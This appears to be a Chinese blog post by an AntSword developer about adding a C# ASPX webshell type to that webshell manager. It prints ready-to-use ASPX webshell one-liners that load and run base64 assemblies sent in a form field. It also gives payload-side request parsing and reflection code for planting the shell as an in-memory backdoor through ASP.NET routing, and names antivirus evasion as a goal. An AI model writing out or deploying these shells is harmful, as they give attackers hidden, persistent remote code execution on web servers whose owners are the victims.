长亭百川云 - 文章详情

聊聊新类型ASPXCSharp

学蚁致用

48

2024-07-13

前言

最近花了点时间,给蚁剑加上了C#的shell类型。

其实蚁剑在实现jscript加载assembly之后,jscript已经可以实现所有C#可以实现的功能:http://yzddmr6.com/posts/jscript-load-csharp-assembly/

这次增加主要是有几点考虑:

    1. Jscript的shell出现很容易被杀。我还没有见过用jscript写的项目,web目录下面出现了Jscript文件**99.99%**就是 Webshell,特征更明显一些。

    2. Jscript的语法属实恶心。没有啥文档,坑全部靠踩。

    3. C#类型可以兼容asp.net 各种内存马,Jscript无法做到。

本文记录一下自己在开发设计的过程中,遇到的一些问题以及自己的思考。

自定义类名

其实一开始遇到的问题是无法自定义类名的问题。c#跟java有一点不同的是,java的 newInstance 是不需要指定 type 的,只要有Class对象就可以实例化。但是c#在实例化的时候必须要指定实例化的type,这也意味着我们所有的全限定类名必须要一样。

冰蝎默认类名都是 U,就建在根命名空间下。每个 Payload 是单独编译的。

哥斯拉同样采用了这种机制,实例化的类名是 LY。但是因为哥斯拉采用的方式是一次性把Payload 都打到内存里然后反射调用,所以可以把所有的基础 Payload 都编译到一个dll里面。

但是这样开发Payload的时候会很难受,因为在同一个项目下面都用一个固定的类名,编译器是会报冲突的。

 后来想到了一种取巧的办法,用 python 命令行调用编译程序,在编译之前把类名都统一替换掉。暂时解决了问题,但是还是感觉不够优雅。

那么有没有什么办法可以动态获取到assembly的type呢?

翻了翻手册,发现以下方法:

GetType()

获取当前实例的 Type。(继承自 Object)

GetTypes()

获取此程序集中定义的类型。

GetName()

获取此程序集的 AssemblyName。

写代码测试一下:

String Payload = "xxx"; System.Reflection.Assembly a = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)); Console.WriteLine("Assembly.GetName: "+a.GetName()); Console.WriteLine("Assembly.GetName.Name: "+a.GetName().Name); Console.WriteLine("Assembly.GetType: "+a.GetType()); Console.WriteLine("Assembly.GetTypes[0]: "+a.GetTypes()[0]); Console.WriteLine("Assembly.GetTypes[0].FullName: "+a.GetTypes()[0].FullName);

output:

Assembly.GetName: BASE_Info, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Assembly.GetName.Name: BASE_Info Assembly.GetType: System.Reflection.Assembly Assembly.GetTypes[0]: BASE_Info.Run Assembly.GetTypes[0].FullName: BASE_Info.Run

Assembly.GetTypes 返回的是一个列表,而Payload里面我们通常只会定义一个类,所以可以通过 Assembly.GetTypes[0] 来获取Payload类的 type。

WebShell 中可以采用如下写法。

<%@ Page Language="c#"%> <% String Payload = Request.Form["ant"]; if (Payload != null){   System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));   assembly.CreateInstance(assembly.GetTypes()[0].FullName).Equals(Context); } %>

这里又跟java的defineClass不太一样,defineClass只能打进去一个类,而c#的Assembly.Load可以加载一个程序集,并不一定只是一个类。所以为了考虑今后payload里可能会有多个类的情况,推荐的写法如下:

<%@ Page Language="c#"%> <% String Payload = Request.Form["ant"]; if (Payload != null){   System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));   assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context); } %>

即强行指定实例化的类为命名空间下名为Run的类。

兼容内存马

rebeyond大佬在最开始用加载 assembly 作为aspx类型的shell时,默认Equals里面是this对象。也就是Page对象。这种方式在aspx文件落地的情况下没有毛病,但是在内存马环境下,是没有Page对象的,这种办法也就不兼容

微软文档如下图

哥斯拉则对此进行了兼容处理,不再采用Page对象,而采用了兼容性更好的HttpContext

其实入口参数的本质就是获取到当前的 request 跟 response 对象。

吸取了 jsp 的经验,一开始 parseObj 函数内置了三种方法:

public void parseObj(Object obj) {   if (obj.GetType().IsArray) { //直接数组传入     Object[] data = (Object[])obj;     this.Request = (HttpRequest)data[0];     this.Response = (HttpResponse)data[1];   } else {     try {       Page page = (Page)obj;// 传入Page对象       this.Response = page.Response;       this.Request = page.Request;     } catch (Exception) {       HttpContext context = (HttpContext)obj;//传入HttpContext对象       this.Response = context.Response;       this.Request = context.Request;     }   } }

所以在shell中用以下写法均可连接

// 利用Page对象 System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(this); // 利用Context对象 System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(Context); // 利用数组 System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(new object[] { Request, Response });

以 asp.net 的 Route 内存马为例,从 route 上下文中获取到的 Context 是 HttpContextBase,而不是 HttpContext。具体的实现类为System.Web.HttpContextWrapper。

并且通过HttpContextWrapper.Request获取到的对象是HttpRequestBase,默认实现类是System.Web.HttpRequestWrapper。有点类似Tomcat的门面模式。

如果要采用数组的方式可以用以下反射代码实现

FieldInfo requestField = typeof(HttpRequestWrapper).GetField("_httpRequest", BindingFlags.Instance | BindingFlags.NonPublic); HttpRequest httpRequest = (HttpRequest)requestField.GetValue(httpContext.Request); FieldInfo responseField = typeof(HttpResponseWrapper).GetField("_httpResponse",BindingFlags.Instance | BindingFlags.NonPublic); HttpResponse httpResponse = (HttpResponse)responseField.GetValue(httpContext.Response); System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)); assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { httpRequest, httpResponse });

‍‍

访问注入内存马的aspx,一片空白说明注入成功

 蚁剑中输入任意 URL,连接成功。

进一步思考

 看起来不错了,但是还有继续优化的空间吗?

Java中一个比较著名的问题是内存马回显,实际上是如何从当前线程获取当前的 request 跟 response 对象。这个问题其实比较蛋疼,因为不同的容器有不同的实现细节,无法统一处理。

但是C#则直接把这个接口给暴露了出来,直接可以通过 HttpContext.Current 获取到当前的context,从而获取当前的 request 跟 response 对象。

再次改造之后,payload 中 parseObj 如下:

public void parseObj(Object obj) {   if (obj.GetType().IsArray) {     Object[] data = (Object[])obj;     this.Request = (HttpRequest)data[0];     this.Response = (HttpResponse)data[1];   }else{     try {       HttpContext context = (HttpContext)obj;       this.Response = context.Response;       this.Request = context.Request;     }catch (Exception){       HttpContext context = HttpContext.Current;       this.Response = context.Response;       this.Request = context.Request;     }   } }

改版后我们去掉了兼容性不强的 Page 方式,如果数组方式跟 Context 都无法获取的话,就尝试通过 HttpContext.Current 来拿到当前的 Context。

所以其实在shell中直接Equals(null),或者一个随意对象即可。

<%@ Page Language="c#"%> <% String Payload = Request.Form["ant"]; if (Payload != null) {   System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));   assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null); } %>

同样可以连接成功

至于为什么没有把原来的入口参数方式全部都去掉,是因为新类型并没有在实战环境中测试过。不知道会不会有一些特殊情况。为了谨慎起见,还是保留了原来的入口参数。

最后

个人喜欢开发一些工具,同时记录下自己的碎碎念。如果能对你有帮助,那就最好不过了。

本文对应代码 Github 提交记录:

https://github.com/AntSwordProject/antSword/commit/d2d848c89e03088c20cc31f411e73fe2dd2973ea

该功能目前暂未正式发布,如需体验可自行更新蚁剑源代码为 v2.1.x 分支,体验开发版的乐趣(Bug)~


不如关注一波再走?

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2